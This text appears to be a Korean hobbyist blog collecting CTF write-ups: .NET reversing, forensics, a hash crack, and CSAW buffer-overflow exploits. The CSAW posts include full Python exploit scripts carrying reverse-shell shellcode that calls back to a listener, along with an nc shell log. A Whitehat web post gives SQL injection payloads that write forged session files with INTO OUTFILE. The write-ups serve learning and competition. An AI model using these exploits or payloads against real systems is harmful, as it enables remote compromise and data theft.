this.button5.FlatStyle = FlatStyle.Flat;

this.button5.Location = new Point(891, 288);

this.button5.Name = "button5";

this.button5.Size = new Size(10, 10);

this.button5.TabIndex = 19;

this.button5.Text = "Z2V0a2V5";

this.button5.UseVisualStyleBackColor = false;

this.label1.AutoSize = true;

this.label1.ForeColor = SystemColors.ActiveCaption;

this.label1.Location = new Point(10, 9);

this.label1.Name = "label1";

this.label1.Size = new Size(158, 12);

this.label1.TabIndex = 15;

this.label1.Text = "Click 'HACK THE PALNET'";

base.AutoScaleDimensions = new SizeF(7f, 12f);

base.AutoScaleMode = AutoScaleMode.Font;

this.BackColor = SystemColors.Control;

this.BackgroundImage = (Image)componentResourceManager.GetObject("$this.BackgroundImage");

base.ClientSize = new Size(597, 368);

base.Controls.Add(this.label1);

base.Controls.Add(this.button5);

base.Controls.Add(this.button4);

base.Controls.Add(this.button3);

base.Controls.Add(this.button2);

base.Controls.Add(this.panel2);

base.Controls.Add(this.panel1);

this.ForeColor = SystemColors.ControlText;

base.FormBorderStyle = FormBorderStyle.FixedSingle;

base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");

base.MaximizeBox = false;

base.MinimizeBox = false;

base.Name = "Form1";

this.Text = "2013 POWER OF XX - Easy Reverse Engineering";

base.Load = new EventHandler(this.Form1_Load);

this.panel1.ResumeLayout(false);

this.panel1.PerformLayout();

base.ResumeLayout(false);

base.PerformLayout();

}

}

}



위는 Ilspy로 디컴파일한 코드의 모습입니다.


이 곳에 한개의 힌트를 더 숨겨놨는데, button3 의 text를 보면 아래와 같이 되있습니다.


this.button3.Text = "y3kt3g";


그리고 button3의 이벤트 핸들러를 보면 button3_click 이란것을 알 수있는데, 핸들러를 따라가보면 키를 구하게 되는 루틴이 나와있습니다.


그 이벤트 핸들러의 부분을 object로 변수가 지정된 부분을 int와 string으로 각각 수정후 새로운 함수를 만듭니다.


public void func()

{

byte b = 49;

string[] array = this.dfj4rfioksdfiop4ewjf9dsr34r();

int arg_1E_0 = 2;

string arg_1E_1 = array[14];

char c = (char)b;

string str = arg_1E_0 arg_1E_1 c.ToString();

str = this.dfj4rfioksdfiop4ewjf9dsr34r()[1];

byte b2 = 95;

char c2 = (char)b2;

string text = c2.ToString() "!" this.jkd9j349njw984nt0wner9g34j[this.jkd9j349njw984nt0wner9g34j.Length - 1];

text = this.jf9j39fjd9rjngsweetfub95f();

this.label2.Text = str text;

int arg_8C_0 = this.jkd9j349njw984nt0wner9g34j[6];

MessageBox.Show(str text); // 2o1E_!0-o5 <-- Key

}


그리고 Form1_Load 이벤트 핸들러 맨 아래에 func(); 함수를 실행하도록 하면 키가 출력됩니다.


그리고 이 키를 입력하면 문구가 출력됩니다.





Flag : md5("chicken_and_peace")


많은 분들이 푸실수 있도록 간단하게 출제했던 문제였습니다 :D

신고

댓글 0


왜 이문제를 헤맷는지 모르겟지만.


어쨋든 대회중엔 시간이 하루밖에 안나서 못푼 문제다.


근데 오늘 갑자기 아이디어가 팍 떠오르고 바로 exploit을 시도했다.



fil_chal



Aslr : Off (fork())

NX : Off (execstack : X)


from struct import pack, unpack

import time


p = lambda x : pack("

up = lambda x : unpack("


HOST = "128.238.66.217"

HOST = "192.168.242.129"

PORT = 34266


offset = 0x41c


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")




def exploit(addr):

exploit = "\x90" * 0x384

exploit = shellcode

exploit = "\x90" * (offset - len(exploit))

exploit = p(addr) * 2# eip

return exploit


print "[*] CSAW Exploitation Level3 Exploit" # by sweetchip

print "[*] Start BroutFore."

for i in range(0xbf879000, 0xbf000000, -0x200):

s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print hex(i)


s.recv(4096)

s.recv(4096)

s.send("csaw2013") # trig bof

s.recv(4096)

s.send("S1mplePWD")

s.recv(4096)

s.send("-1")

s.send(exploit(i))



raw_input("\ngive me shell! > ")


브루트 포싱으로 쉘을 따는건데 약간 느려서 주소를 설정해서 작성햇다.


대회시간대가 아니라 csaw 서버에서 못풀고 로컬에서 풀엇다 ㅠㅠ



///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


http://pastebin.com/1Uchkd6E


새로운 풀이


from struct import pack, unpack

from socket import *

import time


p = lambda x : pack("

up = lambda x : unpack("


HOST = "192.168.0.109"

PORT = 34266


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


freespace = 0x0804b000 # rwx

recv = 0x08048890

pr = 0x08048943

offset = 0x41c


print "[*] CSAW Exploitation Level3 Exploit" # by sweetchip

s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print s.recv(4096)

print s.recv(4096)

s.send("csaw2013")


print s.recv(4096)

s.send("S1mplePWD")


print s.recv(4096)

s.send("-1")


print s.recv(4096)

time.sleep(1)



payload = "A"*(0x41c 4) # ebp

payload = p(recv) # rop_start

payload = p(pr)

payload = p(4)

payload = p(freespace)

payload = p(len(shellcode))

payload = p(0)


s.send(payload)

s.send(shellcode)

raw_input("\ngive me shell! > ")


"""

C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

192.168.0.1: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [192.168.0.1] 51765: NO_DATA

whoami

sweetchip

"""





신고

댓글 0


버퍼 주소까지 그냥 줘서 까나리만 맞춰주고 금방 잘 풀수 있엇다.


처음에는 canary가 잇는줄 모르고 분명히 exploit 코드가 맞는데 라고 생각하면서 고집부리다가 피본 문제다;;


canary를 맞춰주지 않으면 return 이 아닌 exit 을 하기때문에 eip가 변조되지 않는다.



exploit2



Aslr : Off (fork())

NX : Off (execstack : X)


from socket import *

from struct import pack, unpack

import time


#csaw exploitation level2

p = lambda x : pack("

up = lambda x : unpack("


buffer = 0x00000000


# linux/x86/shell_reverse_tcp - 95 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, LHOST=220.117.247.200, LPORT=12071,

# ReverseConnectRetries=5, ReverseAllowProxy=false,

# PrependSetresuid=false, PrependSetreuid=false,

# PrependSetuid=false, PrependSetresgid=false,

# PrependSetregid=false, PrependSetgid=false,

# PrependChrootBreak=false, AppendExit=false,

# InitialAutoRunScript=, AutoRunScript=

shellcode = ("\xd9\xcf\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x12\xba\x5c\xa8"

"\x72\xf6\x83\xed\xfc\x31\x55\x13\x03\x09\xbb\x90\x03\x80"

"\x60\xa3\x0f\xb1\xd5\x1f\xba\x37\x53\x7e\x8a\x51\xae\x01"

"\x78\xc4\x80\x3d\xb2\x76\xa9\x38\xb5\x1e\xf6\xce\xb2\x16"

"\x6e\x33\x3d\x89\x48\xba\xdc\x65\xf0\xec\x4f\xd6\x4e\x0f"

"\xf9\x39\x7d\x90\xab\xd1\x51\xbe\x38\x49\xc6\xef\xdc\xe0"

"\x78\x79\xc3\xa0\xd7\xf0\xe5\xf4\xd3\xcf\x66")


HOST = "128.238.66.212"

#HOST = "192.168.242.128"

PORT = 31338


s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))


print "[*] CSAW Exploitation Level2 Exploit" # by sweetchip


buffer = s.recv(4)

print "[*] Buffer : " hex(up(buffer))

canary = s.recv(4)

print "[*] Canary : " hex(up(canary))

s.recv(12070)


exploit = ""

exploit = "\x90"*60

exploit = shellcode

exploit = "\x90" * (0x800-len(exploit))

exploit = canary

exploit = "\x90" * (0x80c-len(exploit))

exploit = "SWCP"

exploit = buffer


print "[*] Sending Exploit Codes.."

s.send(exploit)


raw_input("\ngive me shell! > ")



신고

댓글 0




csaw대회에서 비교적 쉬운 포너블 문제로 생애 처음으로 ctf중에 리모트 쉘을 따는것을 성공했다.


아 물론 이 문제는 아니지만.. ㅎㅎ


한줄요약 : Simple Buffer Overflow



exploit1



Aslr : Off (fork())

NX : Off (execstack : X)


from Tkinter import Tk

from socket import *

import time


HOST = "128.238.66.212"

PORT = 31337


a = "A"*1016

a = '1'


print "[*] Sending Exploit Codes.."


s = socket(AF_INET,SOCK_STREAM)

s.connect((HOST,PORT))

s.recv(12070)

time.sleep(0.4)

s.send(a)

time.sleep(0.4)

print s.recv(12070)


raw_input("\nok?")


#{7c1fbb502632bffa6e62ba6fa847681f}


신고

댓글 0


여러모로 멘탈붕괴를 제대로 먹여준 화이트햇..


그중 웹 문제는 타임 오버로 풀게되어 인증을 하지 못했엇는데 그 아쉬움을 포스팅으로 풀어보려 합니다 ㅋㅋ




문제 페이지는 이렇게 생겻는데 카라의 한승연 팬페이지를 컨셉으로 잡은 취약점이 존재하는 페이지입니다.




왠지 꼭 비밀글을 읽어야 할거같은 분위기라서 분위기에 따라가기로 했습니다.



우선 풀이방법을 한줄요약하면 SQL Injection과 SESSION 조작입니다.


팬페이지에는 LFI 취약점이 존재하며, INC 파일을 include 시키는 방식이었습니다.


위 파라미터에 아무 값을 삽입하면 include 에러가 발생하며, inc 파일을 찾을수 없다고 나오는데, 그 에러 메세지를 찾아


inc 파일들을 살펴볼 수 있었습니다. inc 파일에는 웹페이지의 소스코드가 담겨있엇으며, 대부분 페이지의 소스를 빼올 수 있었습니다.


예선 개인전의 경우 로그인 페이지에서 한글을 집어넣어 세션을 변조시키는 문제였는데 단체전에선 취약점이 패치되고 어드민 페이지에서 취약점이 발생합니다.


어드민 페이지엔 아무런 필터링이 없어서 그냥 sql injection이 가능햇는데 이 부분에서 더이상 뭘 해야 할지 생각이 안나서...


어드민 페이지에 세션을 건드리는 것을 보아 세션 문제로 방향을 잡고 시작했습니다.


어드민 로그인 페이지에into outfile 을 이용하여 세션 파일 위치인 /var/lib/php5에 sess_***** 파일을 생성하는데


계속 로그인 실패라고 떠서.. 몇시간 삽질해보고 난 다음에 생각난게 return 값이 없어서.... 였다는 것이 떠오르고;;;


load_file 과 outfile 로 여러번 건드린 끝에 세션 원본 형식을 얻어내는데 성공하고 [세션파일 생성 - phpsessid 변조 - 변조한 세션 로그인]


일정한 형식을 바꾸고 비밀글이 보이는 조건을 맞춰줘 가면서 아이디를 readme 로 바꾸고 로그인을 시도했습니다.


여러번 삽질 끝에.. readme로 로그인을 성공했습니다.


0' union select 'memdata|s:85:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";}";' into outfile '/var/lib/php5/sess_sweetchip'#


값을 바꿀때마다 옆에 붙은 숫자도 맞춰줘야 해서 나름 노가다 작업이었습니다.



기쁜마음에 key를 얻으려고 비밀글을 읽는 순간...; 노가다의 향기가 오고 새벽이라 빨리 자고싶은데 잠도 못자고ㅠㅠ..


쨋든 다시 방법을 생각해보는 도중 이를 통해 sql injection으로 key를 빼오는 방법을 택했습니다.


세션에 인젝션 페이로드를 삽입해 공격해서 readme 가 있는 페이지에서 sql 구문을 참조할때 인젝션 시키는 것이었습니다. [뭐라 설명해야하지..]


하지만 인젝션 페이로드를 넣으려는 부분이 싱글쿼터로 싸여 있어 싱글쿼터를 하나 더 붙여줘야 했던 상황이엇는데


고민 하다가 hex로 집어넣기로 했습니다.


memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(COLUMN_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - column name

memdata|s:211:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:125:"0' union select unhex(hex(TABLE_NAME)) from information_schema.columns where TABLE_SCHEMA != 'information_schema' limit 0,1#";}";
#k3yk3y - table name

시간이 다가올수록 급해져서 실수도 많아지고 미칠뻔 했습니다.. ㅋㅋ



공격 구문이 제대로 먹히면 위처럼 값이 나오게 됩니다.

제가 여기서 하나 실수한게 잇는데 table_schema 를 안구했다는 것입니다.

memdata|s:224:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:138:"0' union select unhex(hex(TABLE_SCHEMA)) from information_schema.columns where TABLE_NAME = 'k3yk3y' and COLUMN_NAME = 'k3yk3y' limit 0,1#";}";
#k3y_1s_h3r3

시간이 진짜 급해져서 어느덧 10분 남기고 ㅋㅋ 점점 머릿속이 하얘져서 sql 구문도 이게 맞나 싶을정도로 멘붕상태였습니다.

결국은 제시간에 인증 못했습니다 ㅋㅋ


대회가 끝난 다음 한숨한번 쉬고 끝을 보자 해서 나머지 과정을 시행 했습니다.


memdata|s:140:"a:4:{s:2:"id";s:6:"readme";s:2:"pw";s:3:"123";s:5:"level";s:1:"1";s:3:"idx";s:55:"0' union select k3yk3y from k3y_1s_h3r3.k3yk3y where 1#";}"; # key!!




위 키가 진짜인지 아닌지는 인증을 못해 알순 없지만.. 대충 맞다고 예상 하고 있습니다 ㅋㅋ


30분만 시간이 더 있엇다면. .ㅠㅠ


Flag : 488821687a1efe563e073fca374e439a


신고

댓글 0





닉네임 : 맛있는 치킨파티


ㅎㅎ 문제들 재밋는게 많고 작년에 처음 나가서 26위인가 했엇는데 이번해는 20등 상승했네요!


포렌식 200 브레이크 쓰루도 해보고.. [브레이크 쓰루 자체가 첨이네요]


그리고... 10위안에 못들것 같았는데 들다니.. 신기합니다 ㅎㅎㅎ


풀이 첨부합니다.


2013_yisf_sweetchip.pdf


신고

Comment 8

  • 민달팽이
    2013.08.21 21:52 신고 수정 답글

    크 저 포렌식100때문에 시간을 많이 낭비했었는데;;;

    하.. 그냥 영어로 바꾸면 됬었네요 ㅋㅋ

    • 2013.08.21 22:04 신고 수정

      제 기억상으론, 문제가 잘못되어 다시 받은기억이 있습니다.
      문제가 잘못된건 아닌데, 지문이 잘못됫던것 같습니다. 두번째 나온 문제에는 아마 영문으로 그대로 적으라는 지문이 있었던것 같습니다.

  • 냠냠
    2013.08.23 23:20 신고 수정 답글

    setuid 저사람은 선린고 다니는거로 아는데
    뭔 해킹 대회 열릴때마다 신청해서 1위에 있던대 ㅋㅋ

  • zzmove
    2013.08.26 21:44 신고 수정 답글

    상위권학생들중에 인문계학생은 없던가요?
    이번엔 많이 못풀었네요ㅕ ㅋ

    • 2013.08.26 22:05 신고 수정

      상위권이 어느 부분까지는 모르겠지만.. ㅠ-ㅠ

      일단 본선 진출하신 분들의 경우 인문계는

      pwn3r, swag, 맛있는치킨파티, 푸츙푸츙, [탈락], Rascaliz 입니다.

      attainer 님은.. 잘 모르겟네요 ㅋㅋ

  • 2013.09.02 21:37 신고 수정 답글

    ; 차단됬대여 덧글달려는데

    • 2013.09.02 21:45 신고 수정

      헐; 전 스패머만 아주 예전에 차단했었는데...
      차단 하지 않았습니다 ㅠㅠ


서버상에 바이너리 파일 한개와 crack.txt, admin_hash 파일이 존재하는 것을 볼수 있습니다.


문제 설명을 보면


대회 rule에 말씀드린 바대로 현재 잘 풀리지 않고 있는

문제에 대한 힌트를 제공해 드리겠습니다.


=========================================================

level6 : snprintf(), truncate vulnerability

level7 : timing issue, 1초는 매우 길다!

level8 : anti reversing (elf header)

level9 : simple reversing and dictionary crack

level10 : 푸는 방법이 3가지)

1) system() 함수를 이용 (초딩)

2) 오버플로우 이용 (중딩)

3) type conversion memory leak (고딩)

=========================================================



마지막까지 최선을 다하시어 "all clear" 획득하시길 바랍니다!^^




/////////




/home/gostop/chal - 문제 바이너리입니다.


/home/gostop/admin_hash - chal 프로그램에 의해 생성된 특정 인물의

hash 값입니다. 특정 인물이 사용했던 원래의 암호가 이 문제의 키 값입니다.


/home/gostop/crack.txt - crack에 활용하는 사전 파일입니다.

이 사전을 이용할 경우 답이 나옵니다.


% 주의사항 %


대회 인증 서버에 정답 값을 brute force 하는 행위는 금지입니다.

적발될 시 그에 상응하는 조치가 있을 예정입니다.



대충 안내를 보고 문제의 의도를 파악할 수 있습니다 [브루트 포싱]


그렇다면 프로그램이 대충 어떻게 돌아가는지 분석해 보도록 하겠습니다.


int __cdecl sub_8048544(int a1, int a2)

{

int result; // eax@8

int v3; // ecx@8

unsigned int i; // [sp 28h] [bp-330h]@5

FILE *v5; // [sp 2Ch] [bp-32Ch]@5

unsigned __int8 v6; // [sp 37h] [bp-321h]@5

int v7; // [sp 38h] [bp-320h]@1

int v8; // [sp 238h] [bp-120h]@1

int v9; // [sp 338h] [bp-20h]@6

int v10; // [sp 33Ch] [bp-1Ch]@6

int v11; // [sp 340h] [bp-18h]@6

int v12; // [sp 344h] [bp-14h]@6

int v13; // [sp 348h] [bp-10h]@6

int v14; // [sp 34Ch] [bp-Ch]@1


v14 = *MK_FP(__GS__, 20);

memset(&v8, 0, 0x100u);

memset(&v7, 0, 0x200u);

if ( a1 != 2 )

exit(0);

if ( strlen(*(const char **)(a2 4)) > 0x1E )

exit(0);

v5 = fopen("/etc/dic.txt", "r");

v6 = **(_BYTE **)(a2 4);

for ( i = 0; i < v6; i )

{

v9 = 0;

v10 = 0;

v11 = 0;

v12 = 0;

v13 = 0;

fgets((char *)&v9, 18, v5);

}

*((_BYTE *)&v9 strlen((const char *)&v9) - 1) = 0;

sprintf((char *)&v8, "%s%s", &v9, *(_DWORD *)(a2 4) 1);

sprintf((char *)&v7, "/bin/echo -n %s|/usr/bin/md5sum > passwd.hash", &v8);

system((const char *)&v7);

result = puts("passwd.hash is generated.");

if ( *MK_FP(__GS__, 20) != v14 )

__stack_chk_fail(v3, *MK_FP(__GS__, 20) ^ v14);

return result;

}


소스를 보시고 정적분석과 디버거를 함께 하는 동적분석을 같이 진행하시면 chal 바이너리 인자에 asdfgh 같은


글자를 넣는다면 맨 앞 글자가 사라지고 sdfgh 가 들어가는 것을 확인하실 수 있는데,


그렇게되서 'dic내용중하나 sdfgh' 같이 문자열이 완성됩니다.


/bin/echo -n 은 줄바꿈 없이 출력이고, md5sum 은 기본제공 프로그램[?]으로 md5 해쉬를 해주는 프로그램이며


그 결과를 passwd.hash에 저장합니다.


그러므로 'dic내용중하나 sdfgh' 이런 내용을 전부다 해쉬시켜서 admin_hash의 값과 비교한 다음 평문을 구합니다.


그리고 평문에서 인자로 넘겻던 값을 구하면 그 값이 플래그가 될 것입니다.



그리고 대회당시 저는 이 부분 부터 풀지 못했는데 특정인물의 hash 값이라고 해서


/etc/passwd 에 있는 유저를 인자로 넘겨 해쉬를 만드는 것으로 추정하고 풀었는데 결국 풀지 못했습니다.


대회 후에 다시 풀어보니 dic 파일 안에 있는 것이 특정인물이었던 것을 알게 되었습니다.....


허탈하지만 문제는 풀어야 하므로 원래 작성했던 스크립트에 두줄을 추가시켯습니다.


import md5


f = open("crack.txt","rb")

a = f.read()

f.close


b = a.split('\x0a')


print len(b)

k = 0

hash = "a18003d80ddc806496c6ca03f06537d7"

for i in range(len(b)):

for j in range(len(b)):

k = 1

if md5.md5(b[i] b[j][1:]).hexdigest() == hash:

print "[!] Found!!!!!"

print "[*] plain-text : " b[i] b[j][1:]

print "[*] Flag : " b[j]

print "[*] calc num : " str(k)

raw_input("go?")




Flag : whetstone



신고

댓글 0



1 ~ 10위까지의 스코어보드 본선은 1~30위 총 30명이 진출합니다.


2013년 7월 26일 오전 10시 ~ 오후 10시 12시간동안 진행된 CTF에서 예선 10위로 본선을 올라가게 되었습니다.


다른 분들 요청이 있어서 Write up을 직접 올리도록 하겠습니다.


레벨 1 ~ 레벨 8까지의 풀이가 적혀있습니다.



Junior CTF Write-up[404error].pdf



9번 풀이는 바로 다음 포스팅에 적을 것입니다.


10번은 시간 보고 적어보겠습니다.


신고

Comment 4

  • BlogIcon ..
    2013.07.29 17:46 신고 수정 답글

    으아.. 부러우시네요
    전 제가 제일 부족한 시스템 분야 문제가 많이 나와서 4번에서부터 포기를 해야 했는데.. write up 잘보겠습니다~

  • 한호정
    2013.07.31 07:44 신고 수정 답글

    역시형!!멋져욯

    • 2013.07.31 16:12 신고 수정

      ㅋㅋ 위에 더 잘하는 사람이 널림 ㅋㅋ
      이번 본선은 그냥 구경가는것 으로 생각중임 ㅎ


안녕하세요


얼마전에 열린 순천향대 정보보호 페스티벌 문제 풀이를 하나 더 풀어보려고 합니다.


그동안 귀차니즘 때문에 안했던 것을 이번에 하게 되네요 ㅎㅎ;;


이번에는 매우 매우 간단하게 하도록 하겠습니다.


프로그램은 확인해본 결과 C#으로 프로그래밍 된 윈도우 모바일 프로그램 이었습니다.



그래서 닷넷 디컴파일러, .net reflector 을 이용해서, 디컴파일을 한 결과, 여러가지 함수가 있었습니다.


그 함수를 분석 한 결과 다음 과 같이 프로그래밍 해보겠습니다.


이러한 패스워드에 연관된 코드들을 하나하나 수집된 것들을 바탕으로 프로그램 코드를 작성합니다


프로그램 언어는 C#으로 짜여진 코드입니다.



CODE --------------------------------------------------------------------


using System;

using System.Collections.Generic;

using System.Linq;

using System.Text;

using System.Threading.Tasks;


namespace yisf

{

class Program

{

static void Main(string[] args)

{


char[] charSet = new char[] {

'2', '0', '1', '2', '_', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'F', 'i', 'r',

's', 't', '_', 'F', 'i', 'g', 'h', 't', 'i', 'n', 'g', '!', '!', '!', ':', ')'};




string str = "ecnis";

byte num = Convert.ToByte("11", 2);

string str1 = string.Concat(new object[]

{

"CIH", "_YI", charSet[5], charSet[0x13], new string(str.ToCharArray().Reverse().ToArray()), 200, num, "_", "Y2K"

});

Console.WriteLine("password is " str1);

Console.ReadKey();




}

}

}


C# 언어로 프로그래밍된 프로그램입니다.

위의 문자 배열과 str 과 바이트 넘버를 모두 합해서 str1 이라는 변수에 저장을 한 다음에

console.writeline 을 이용해서 출력 합니다.



Password is CIH_YISFsince2003_Y2K


그 당시 정답을 맞췄긴 햇는데, 이걸 다시 보니 헷갈리네요.. ㅎㅎ


만약 틀린게 있닫면 덧글로 달아주시면 감사하겠습니다.




신고

댓글 0


순천향대 정보보호 페스티벌 Write-Up - Forensic 1


포렌식 부분 첫번째 문제입니다.


리눅스와 맥os 에 대한 시스템에 대해서 알고 있어야 하는 문제인데, 몰라서 상당히 해멧습니다.


구글의 힘을 빌려서 검색을 얻고 문제 풀이에 성공했습니다.


문제 :


SCH 도서관의 컴퓨터를 누군가가 해킹 했다!!

단 한명의 용의자가 있는데....
용의자의 컴퓨터를 이용해 용의자가 공격에 사용한 USB를 찾아내어
해킹한 시간을 알아내라


Key : lowercase(MD5("USB Connect Time"_"Serial Number"_"Vendor ID"))
예) MD5(MMDDHHmmss_123456789_0x1234) 해서 나온 결과를 소문자로 변환하여 인증


이제 시작합니다




파일은 상당히 많이 주어집니다.


아마 로그파일을 통째로 주어지는데 문제에서는 usb 를 이용했다고 하니


usb를 접촉한 로그가 남겨지는 messages[리눅스], kernel.log[맥] 로그들을 살펴보겠습니다.


일단 저는 문제를 풀때 여러가지 상황을 생각했습니다.


1. usb를 이용한 remote 에서의 공격

2. usb 를 이용한 local 에서의 공격

등등..


하지만 로그들을 살펴보니 remote 에서는 아닌것 같고 문제도 다시 읽어보고 1번은 버렸습니다.


2번이라는 가정하에 문제를 풀게 되었습니다.



리눅스의 로그입니다. serialnumber 가 usb의 시리얼 넘버입니다.


현재 필요한 값은 시각, 시리얼넘버, 제조사 id 입니다



이것은 맥 os 의 로그입니다.



이 로그들을 이제, 하나하나 찾아서 다른 페이지에 기록을 해야 합니다.


비교가 쉽도록 말입니다,.






이렇게 하나하나 찾아가는 과정을 쭉 하면



위와 같은 결과가 나오게 됩니다.


위는 피해자 victim 의 컴퓨터 맥 os 환경의 로그이고, 아래는 suspect 의심 컴퓨터의 리눅스 로그입니다.


피해자의 컴퓨터는 usb 접촉 기록이 많지만, 해커의 컴퓨터는 3가지 밖에 없습니다.


한개는 삼성, 한개는 lg, 한개는 버추얼머신의 usb 환경 입니다.


자, 이제 하나하나 비교를 해야 합니다.


버추얼 머신의 usb는 빼버리고, 2010으로 시작하는 삼성의 usb를 대조 결과 확인되지 않습니다.


하지만 삼성의 시리얼 넘버를 대조해본 결과, victim 에서 시리얼이 일치하게 됩니다.


Jul 27 09:10:22 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): AA00000000000001 0x90c 0x1000 0x1100


그러므로 위의 시각이 어느 usb로 언제 해킹이 됬는지 짐작이 가능합니다.


7월 27일 오전 9시 10분 22초, 맥의 컴퓨터에서 AA00000000000001 의 시리얼을 가지고 제조사 id가 0x90c 메모리 카드가 해킹을 했다고 합시다.


이제 md5 해쉬를 시켜야 합니다.


MD5(0727091022_AA00000000000001_0x90c)


4550c35d78b4daf199199208c17ae924 가 나오네요


Password is 4550c35d78b4daf199199208c17ae924






신고

Comment 4

  • 2012.08.28 10:25 신고 수정 답글

    저는 바이너리 문제 하나 풀었는데
    포렌식 푸셨군요! 대단하시네요!

    V스쿨에서 보고 들어와봤는데 블로그 멋지네요!
    무슨 스킨이에요?

    • 2012.08.28 13:07 신고 수정

      앞으로 풀이는 더 올릴 예정인데 귀차니즘이~ ^^;

      스킨은 일반 있는 스킨입니다 감사합니다

  • 2012.09.06 22:17 신고 수정 답글

    넓에 하신건 수정하신거같은데 수정하신거 어떻게 하신지 알수잇을까요?


워밍업 5번.. 어려웟던 프로그래밍


이제 시작합니다.




이것이 문제입니다.


의사코드를 저것으로 바꾸라는데.. 한번 바꿔볼까요..


프로그래밍은 C#으로 해보도록 하겠습니다.


중간중간 오버 플로우가 나는 바람에.. 고생도 했습니다.


파이썬과 c# 두가지 언어를 동시에 사용했습니다 ㅋㅋㅋ


파이썬에 실력있는 분들은 이런짓 안하시겟지요 ㅠ-ㅠ


파이썬을 처음 다뤄봐서 어쩔수 없었답니다 ㅋㅋ




안보이시면 클릭해서 보세요 ^^


위 처럼 프로그래밍 했습니다.



마지막 값이 위 연산에 대한 값입니다.



그 다음 파이썬 쉘에 다음과 같은 명령을 내립니다.


print(hex(14923134021350632102839378537 609377234220815057424830202)) //안의 값을 더해 헥스형태로 출력


"323031325f4f6c796d703163".decode("hex") // 헥스값을 디코딩 시킨다.


Password is : 2012_Olymp1c


신고

댓글 0


워밍업 4번 시작합니다.


3번 풀다보니 힌트가 이미 공개되 잇어서 쉽게 풀엇습니다.


Content
사이버 수사대 1팀 김우현.

그는 무언가를 숨기고 있다.

그가 숨기고 있는 것을 알아내라!


File:
Ghost.jpg





원본 이미지는 지극~히 정상입니다.


하지만 뭐가 숨겨져 있길래 그러는걸까요?


아마 다른분들은 유령 - 스테가노그래피 로 생각하셔서 openstego 를 쓰신 분도 있을것 같지만,


#1. End of Image
#2. 4D 5A 90 00
#3. 숨김 파일


이라는 힌트가 공개 되었습니다.


그중 2번의 헥스코드는 실행파일의 시그니쳐 입니다.


winhex 로 사진을 열어봅시다.




위에는 지극히 정상인 사진 파일입니다.



실행파일의 시그니쳐인 저 값을 찾아봅시다.



찾앗습니다.


위의 end of image 와 recover this file for exe 를 보면 힌트라는걸 알수 있습니다.


힌트대로 exe 만 추출해봅니다.



파일 윗부분을 자르고



파일에 추출을 성공했습니다.



알집의 exe 압축 파일입니다.



압축을 풀면 특정 폴더에 저장이 됩니다.


그중 QR코드가 가장 먼저 의심 스러워서 보는데, 또 색반전이 필요할것 같습니다.




색반전을 시킨 다음, qr 코드를 스캔합니다.



Password is HADES!^^





신고

댓글 0


워밍업 문제 3번입니다.


생각보다 해멧던 문제입니다.


막상 해보고 나면 아무것도 아닌데..


문제 :


키가 187인 나쁜 동현이가 내 보물을 훔쳐갔다.

동현이의 컴퓨터에 MITM 공격을 해서 패킷을 캡쳐했다.

단서를 찾아 보물을 찾아오자


File:
evidence.pcap



mitm 이란 중간에서 패킷을 가로채는 arp spoofing 공격과 비슷합니다.


암튼 이 공격으로 패킷 내용을 빼왔다고 하네요


Hint

#1. HEYMAN
#2. EOF (End of File)



문제를 풀 당시 생각보다 사람들이 많이 풀지 못했습니다.


그래서 힌트를 두개씩 내놓자 한명 두명 풀기 시작하고 저는 2시간 만에 풀었네요


진짜 별것 아닌데..



